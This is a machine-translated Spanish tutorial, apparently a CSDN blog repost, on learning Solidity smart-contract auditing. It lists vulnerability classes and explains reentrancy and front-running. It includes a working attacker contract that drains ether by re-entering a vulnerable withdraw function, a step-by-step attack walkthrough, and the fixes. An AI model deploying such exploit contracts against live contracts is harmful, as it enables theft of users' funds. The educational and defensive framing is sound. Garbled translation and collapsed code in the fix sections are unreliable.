Sodility contrato auditoría entrada aprendizaje ideas cero base uno

Introducción

Solidity es un lenguaje de programación de alto nivel orientado a contratos creado para implementar contratos inteligentes. Este lenguaje está influenciado por C ++, Python y Javascript, y está diseñado para ejecutarse en la máquina virtual Ethereum (EVM).

Descubrí que cada vez más personas están prestando atención al conocimiento de blockchain relacionado con btc y eth. Tal vez todo el mundo ha fantaseado con encontrar una laguna en el contrato y hacer una fortuna, jaja.
Los materiales de aprendizaje en línea son desordenados y confusos, y aquí le proporcionaré una idea de aprendizaje de la auditoría de contratos de sodilidad, para que pueda evitar desvíos.
Se necesitará mucho tiempo para aprender una nueva habilidad. Espero que todos se ciñan a ella y se obtengan ganancias.

Listo para trabajar

Los vínculos siguientes requieren acceso científico a Internet, por lo que no les enseñaré aquí, y prepárese.
1. Google Chrome, descárguelo e instálelo usted mismo
2. Enlace: remix
Este sitio web se utiliza para la compilación, implementación y prueba de contratos (de uso común, tome notas y guárdelo). También puede compilarlo localmente si no desea usar la página web.
Enlaces: Remix El uso
de este sitio describe cómo usar el remix, la nueva versión puede cambiar la interfaz para hacer, es encontrar la posición funcional correspondiente en la línea.

3. Enlace de Metamask (complemento de Google Chrome, billetera eth)
: Instalación y uso de MetaMask
Picture: Se Alt
utilizará en el contrato de auditoría de remezclas más adelante, descárguelo usted mismo (requiere acceso científico a Internet).

Pasos de aprendizaje

	1、熟悉solidity语言语法。
	2、自己编写合约,熟练掌握solidity(其实很简单,多练习几次就可以)。
	3、学习常见智能合约漏洞,了解熟悉漏洞发生的位置和漏洞发生条件。
	4、最后进行合约漏洞靶场练习,利用前面学习的合约漏洞解题。(可以参照攻略,最后在不使用攻略,自己可以完全做出来为毕业)
	5、实战从eth链上找到合约进行自己的审计,很多新上链的合约还是存在漏洞。

1. Familiarizado con el lenguaje de la sodilidad

Esto equivale a aprender un nuevo lenguaje de programación. Tiene muchas similitudes con lenguajes como py y c ++. Si tiene una base de programación, será extremadamente simple.
No se preocupe si no tiene una base de programación. Después de todo, yo no tenía ninguna base cuando estaba estudiando. Probablemente necesite una semana para familiarizarse con la solidez.

Aprenda el
enlace básico del sitio web : El último
sitio web de documentos chinos sobre sodility presenta la gramática básica del idioma y la creación y uso de varias funciones. Esta es la base del contrato y debe leerse con atención. Debido a que esta parte es aburrida, se recomienda que la estudie junto con el paso 2. Simplemente lea el documento chino y escriba el contrato al mismo tiempo, así será más fácil aprender alternativamente. (Así lo aprendí, jeje)

2. Escribe un contrato y domina la sodilidad.

Para escribir ejercicios de solidez, tienes que escribir tú mismo en el teclado para familiarizarte con él. No hay atajos.
Enlace: Escritura y aprendizaje de solidez
Este sitio web se utiliza para simular contratos de escritura. Hay tutoriales detallados, base cero, adecuados para principiantes. Puede completar este tutorial primero y luego escribir su propio contrato en remix para depuración e implementación.

3. Vulnerabilidades comunes de los contratos

Esta sección explica principalmente los tipos comunes de vulnerabilidades contractuales.

  • 1. Activador de condiciones de carrera
    • 1.1 Vulnerabilidad de reentrada
    • 1.2 Ataque de dependencia de órdenes de transacción
  • 2. Desbordamiento de enteros
    • 2.1 Desbordamiento de multiplicación
    • 2.2 Desbordamiento de resta
    • 2.3 Desbordamiento de adición
    • 2.4 Otras posibles situaciones de desbordamiento
    • 2.5 correcciones de errores
  • 3. Ataque de denegación de servicio (DOS)
    • 3.1 Lanzar DoS a través de Revertir (inesperado)
    • 3.2 Lanzar DoS a través del límite de gas de bloque
    • 3.3 Operación del propietario
  • 4. Bloquear la dependencia de los parámetros (dos)
    • 4.1 Dependencia de la marca de tiempo
    • 4.2 Bloquear dependencia de hash
    • 4.3 corrección de errores
  • 5. Ecrecover no juzga ninguna dirección
    • 5.1 Repetir ataque
  • 6. Uso indebido de funciones subyacentes
    • 6.1 llamar ataque de inyección
    • 6.2 Mal uso de la llamada de delegado
  • 7. Uso incorrecto de tx.origin
  • 8. Volver a aprobar la vulnerabilidad
  • 9. Poner Ether a la fuerza en el contrato
  • 10. Ataque de dirección / parámetro corto
  • 11. Utilice variables locales de memoria no inicializadas
  • 12. El problema de la cobertura variable en la herencia por contrato
  • 13, punto flotante y precisión
  • 14. Convocatoria de contrato externo
  • 15. Los riesgos de seguridad de enviar y recibir Ether
  • 16. Leer las variables de estado del contrato.
  • 17. Riesgo de seguridad causado por errores del desarrollador 17.1
    Error de juicio lógico
    17.2 Desajuste de la autoridad del contrato
    17.3 Desajuste del constructor
    17.4 Recarga falsa: transferencia / transferencia Falló la ejecución y no se lanzaron excepciones
    17.5 La implementación del contrato no coincide con el diseño

1.1 Vulnerabilidad de reingreso:
una de las características de los contratos inteligentes de Ethereum es la capacidad de llamar y utilizar el código de otros contratos externos. El principal peligro de llamar a contratos externos es que los contratos externos pueden hacerse cargo del flujo de control y cambiar los datos que no espera la función de llamada. Tales vulnerabilidades tienen muchas formas, incluida la reentrada y la dependencia de órdenes de transacción.
Los contratos generalmente también manejan Ether, por lo que Ether generalmente se
envía a varias direcciones de usuarios externos. La operación de llamar a un contrato externo o enviar Ethernet a una dirección requiere que el contrato envíe una llamada externa. Estas llamadas externas pueden ser secuestradas por el atacante, obligando al contrato a ejecutar más código (es decir, a través de la función de reserva), incluida la devolución de llamada en sí. Por lo tanto, la ejecución del código "reingresa" al contrato. Este ataque se utiliza en el infame ataque DAO.
Se muestra a continuación 案列.

 	pragma solidity ^0.4.22;

contract Reentrancy {
    
    
    mapping(address => uint256) public balances;

    event WithdrawFunds(address _to,uint256 _value);

    function depositFunds() public payable {
    
    
        balances[msg.sender] += msg.value;
    }

    function showbalance() public view returns (uint256 ){
    
    
        return address(this).balance;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
    
    
        require(balances[msg.sender] >= _weiToWithdraw);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        emit WithdrawFunds(msg.sender,_weiToWithdraw);
    }
}

El contrato tiene dos funciones: depositFunds () y retirewFunds (). La función de depositFunds () es aumentar el saldo de msg.sender, y la función de retiroFunds () es sacar el Ether especificado por msg.sender como _weiToWithdraw.
Ahora, un ataque El autor creó lo siguiente 合约.

 	pragma solidity ^0.4.22;

//设置原合约接口,方便回调
interface Reentrancy {
    
    
    function depositFunds() external payable;
    function withdrawFunds (uint256 _weiToWithdraw) external;
}
//漏洞证明合约
contract POC {
    
    
    address owner;
  Reentrancy reInstance;

    constructor() public {
    
    
        owner = msg.sender;
    }

  modifier onlyOwner() {
    
    
        require(owner==msg.sender);
        _;
  }
  //指向原合约地址
  function setInstance(address addr) public onlyOwner {
    
    
        reInstance = Reentrancy(addr);
  }
  //先存入一笔以太币
  function depositEther() public payable {
    
    
        require(msg.value >= 1 ether);
        reInstance.depositFunds.value(msg.value)();
  }
  //取出盗取的以太币
  function getEther() public onlyOwner {
    
    
        msg.sender.transfer(address(this).balance);
  }
  //调用withdrawFunds,发起攻击 
    function withdrawFunds() public onlyOwner {
    
    
        reInstance.withdrawFunds(1 ether);
    }
  //回退函数,进行重入攻击
    function() external payable {
    
    
        if(address(reInstance).balance >= 1 ether) {
    
    
            reInstance.withdrawFunds(1 ether);
        }
    }
}

Inserte la descripción de la imagen aquí
PD: Tenga en cuenta que el desbordamiento de saldos [msg.sender] causado por el ataque de reentrada aquí, se recomienda encarecidamente utilizar SafeMath para todas las operaciones matemáticas.
Analice cómo el contrato realiza un ataque de reentrada:
1. Suponga que los usuarios normales depositan 15 ether en el contrato original (Reentrancy.sol);
2. El atacante despliega el contrato de ataque (POC.sol) y llama a setInstance () para señalar el despliegue del contrato original Dirección;
3. El atacante llama a la función depositEther () del contrato atacante y pre-almacena 1
ether en el contrato original. En este momento, en el contrato original, la dirección del contrato atacante tiene un saldo de 1 ether;
4. El atacante llama a la función Retirar fondos () del contrato atacante , La función luego llama a la función retiroFondos () del contrato original y pasa el parámetro 1
ether;
5. Ingrese el contrato original, la primera línea de la función retiroFondos () requiere (saldos [msg.sender]> = _weiToWithdraw) ;, atacando la dirección del contrato El siguiente saldo es 1
ether, que es igual a _weiToWithdraw, y se cumple la condición, ingrese la siguiente línea;
6. La segunda línea de la función retiroFondos () requiere (msg.sender.call.value (_weiToWithdraw) ()) ;, transferir a msg.sender _weiToWithdraw (1
ether en este momento ), debido a que msg.sender es la dirección del contrato, solidity estipula que si no se especifica ninguna otra función válida cuando se recibe ether desde la dirección del contrato, la función de reserva del contrato se llamará de forma predeterminada y el flujo de ejecución entrará en el contrato de ataque. Llame a la función de respaldo del contrato de ataque, y debido a que el Ether se envía a través de call.value () (), este método enviará todo el gas restante;
7. Ingrese a la función de respaldo del contrato atacante, si juzga el saldo del contrato original, que es de 16
éter en este momento . Si se cumple la condición, "vuelva a ingresar" la función de retiro de fondos () del
contrato original nuevamente ; 8. Ingrese nuevamente la función de retiro de fondos () del contrato original, porque balances [msg.sender] - = _weiToWithdraw; no se ha ejecutado, por lo que en este momento, la dirección del contrato atacante todavía tiene 1
ether, y se cumple la primera condición requerida, y se ejecutará hasta que la segunda requiera;
9. Los pasos 6-8 se repetirán a partir de entonces. Hasta que el saldo del contrato original sea menos de 1 éter o se agote el gas;
10. Finalmente ingrese el contrato original y ejecute los saldos [msg.sender] - = _weiToWithdraw ;, tenga en cuenta que todo lo retirado se restará de los saldos [msg.sender] aquí Ether conduce al desbordamiento de saldos [msg.sender]. Si se usa SafeMath aquí, los ataques de reentrada pueden evitarse lanzando excepciones; el
resultado final es que el atacante solo usa 1 ether y luego elimina todo el contrato original. éter.
**漏洞修复**:
Cuando sea posible, use la función transfer () incorporada de solidity al enviar ether a una dirección externa. Cuando transfer () solo envía
gas 2300 , no es suficiente llamar a otro contrato (es decir, volver a ingresar el contrato de envío). Use transfer () Vuelva a
escribir los fondos de retiro () del contrato original de la siguiente manera: función retiro de fondos (uint256 _weiToWithdraw) public { require (balances [msg.sender]> = _weiToWithdraw);

msg.sender.transfer (_weiToWithdraw);
balances [msg.sender] - = _weiToWithdraw; emit
WithdrawFunds (msg.sender, _weiToWithdraw);
}
2. Asegúrese de que los cambios de la variable de estado ocurran antes de enviar ether (o cualquier llamada externa), es decir Modo de comprobación-efectos-interacciones recomendado por el oficial de
solidez (comprobaciones-efectos-interacciones); función retirarFondos (uint256 _weiToWithdraw) public { require (balances [msg.sender]> = _weiToWithdraw); // comprobar saldos [msg.sender] - = _weiToWithdraw; // Efectivo require (msg.sender.call.value (_weiToWithdraw) ()); // Interactive emite WithdrawFunds (msg.sender, _weiToWithdraw); } 3. Use bloqueo mutex: agregue un bloqueo durante la ejecución del código Variables de estado del contrato para evitar llamadas reentrantes bool reEntrancyMutex = false; función retiroFondos (uint256 _weiToWithdraw) public { require (! ReEntrancyMutex);









reEntrancyMutex = verdadero;
require (saldos [msg.sender]> = _weiToWithdraw);
require (msg.sender.call.value (_weiToWithdraw) ());
saldos [msg.sender] - = _weiToWithdraw;
reEntrancyMutex = falso;
emitir WithdrawFunds (msg.sender, _weiToWithdraw);
}

1.2 Ataque de dependencia de órdenes de transacción
Como la mayoría de las cadenas de bloques, los nodos de Ethereum agregan transacciones y forman bloques. Una vez que los mineros resuelven el mecanismo de consenso (actualmente ETHASH
PoW de Ethereum ), estas transacciones se consideran válidas. El minero que resuelve el bloque también elegirá qué transacciones del grupo de minería se incluirán en el bloque, lo que generalmente está determinado por la transacción gasPrice. Aquí hay un vector de ataque potencial. El atacante puede observar si hay una transacción en el grupo de transacciones que puede contener una solución al problema, modificar o revocar la autoridad del atacante o cambiar el estado del contrato que es desfavorable para el atacante. Luego, el atacante puede obtener datos de esta transacción y crear una transacción gasPrice de nivel superior e incluir su transacción en un bloque antes del original. Se muestra a
continuación 案列.

contract FindThisHash {
    
    
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {
    
    } // load with ether

    function solve(string solution) public {
    
    
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution)); 
        msg.sender.transfer(1000 ether);
    }
}

Este contrato contiene 1000 ether, y los usuarios que encuentren y envíen la respuesta correcta recibirán esta recompensa. Cuando un usuario descubre la respuesta Ethereum !. Él llama a la función de resolución y toma la respuesta Ethereum! Como parámetro. Desafortunadamente, el atacante puede observar la respuesta enviada por cualquiera en el grupo de transacciones, ve la solución, verifica su validez y luego envía una nueva transacción que es mucho más alta que el gasPrice de la transacción original. Los mineros que resuelven este problema pueden empaquetar primero la transacción del atacante porque el gasPrice del atacante es más alto. El atacante obtendrá 1000 ether, y el usuario que resolvió inicialmente el problema no obtendrá ninguna recompensa (no queda ningún ether en el contrato).

Enlace: enlace .
Último documento chino de Sodility

漏洞修复:
Hay dos tipos de usuarios que pueden llevar a cabo este tipo de ataque de transacciones anticipadas. Usuarios (modificando el precio del gas de sus transacciones) y los propios mineros (pueden reordenar las transacciones como mejor les parezca). Un contrato que es vulnerable al primer tipo de ataque (usuario) es obviamente peor que un contrato que es vulnerable al segundo tipo de ataque (minero), porque el minero solo puede realizar el ataque cuando resuelve un bloqueo, lo cual es muy importante para cualquier bloque específico. Es imposible para un solo minero. Aquí, enumeraré algunas medidas de mitigación relacionadas con los tipos de ataques que podrían prevenir.
Un método que se puede utilizar es crear una restricción en el contrato, el límite del precio del gas. Esto evita que los usuarios aumenten el precio del gas y obtengan transacciones prioritarias que superen el límite superior. Esta precaución solo puede mitigar los ataques del primer tipo de atacante (cualquier usuario). En este caso, los mineros aún pueden atacar el contrato porque pueden ordenar las transacciones según sea necesario, independientemente del precio del gas.
Un método más confiable es usar commit-revel tanto como sea posible. Este esquema requiere que los usuarios envíen transacciones usando información oculta (usualmente hash). Después de que la transacción se ha incluido en el bloque, el usuario envía una transacción para descifrar los datos enviados (fase de divulgación). Este método evita que los mineros y los usuarios realicen transacciones prospectivas porque no pueden determinar el contenido de la transacción. Sin embargo, este método no puede ocultar el valor de la transacción (en algunos casos, esta es información valiosa que debe ocultarse).
El contrato inteligente ENS permite a los usuarios enviar transacciones, y sus datos de promesa incluyen la cantidad de ether que están dispuestos a gastar. Entonces, los usuarios pueden enviar transacciones de cualquier valor. Durante la fase de divulgación, el usuario reembolsó la diferencia entre la cantidad enviada en la transacción y la cantidad que estaba dispuesto a gastar.

4. Campo de tiro contratado

Enlace: Capture Ether .
Enlace: ethernaut .
Ambos rangos de tiro de contrato varían de simple a difícil. Se recomienda que no mire la estrategia y piense en ella antes de usarla.
URL de la estrategia:
https://ledgerops.com/blog/capture-the-ether-part-2-of-3-diving-into-ethereum-math-vulnerabilities/
https://xz.aliyun.com/t/7173
https://xz.aliyun.com/t/7174

5. Vínculos con otros conocimientos relacionados

1. Conocimientos básicos de eth
2. Comprensión profunda de la máquina virtual ethevm
3. Competente en Bitcoin
4. Conocimiento de eth blockchain
5. Conocimientos básicos
de eth 6. Conocimientos básicos de eth
Después de aprender el contrato, debe comprender cómo es eth Como una cadena, cómo se ejecutan las funciones del contrato en la cadena y cómo funciona evm. También puede echar un vistazo a Bitcoin. Después de leerlo, creo que tendrá una nueva comprensión de la cadena de bloques.

Por razones de espacio, solo se cubre una parte de la vulnerabilidad. En el próximo capítulo, cubriremos la vulnerabilidad en detalle.
Bienvenidos a todos para que dejen un mensaje para aprender unos de otros.

Supongo que te gusta

Origin blog.csdn.net/qq_40015778/article/details/108703510
Recomendado
Clasificación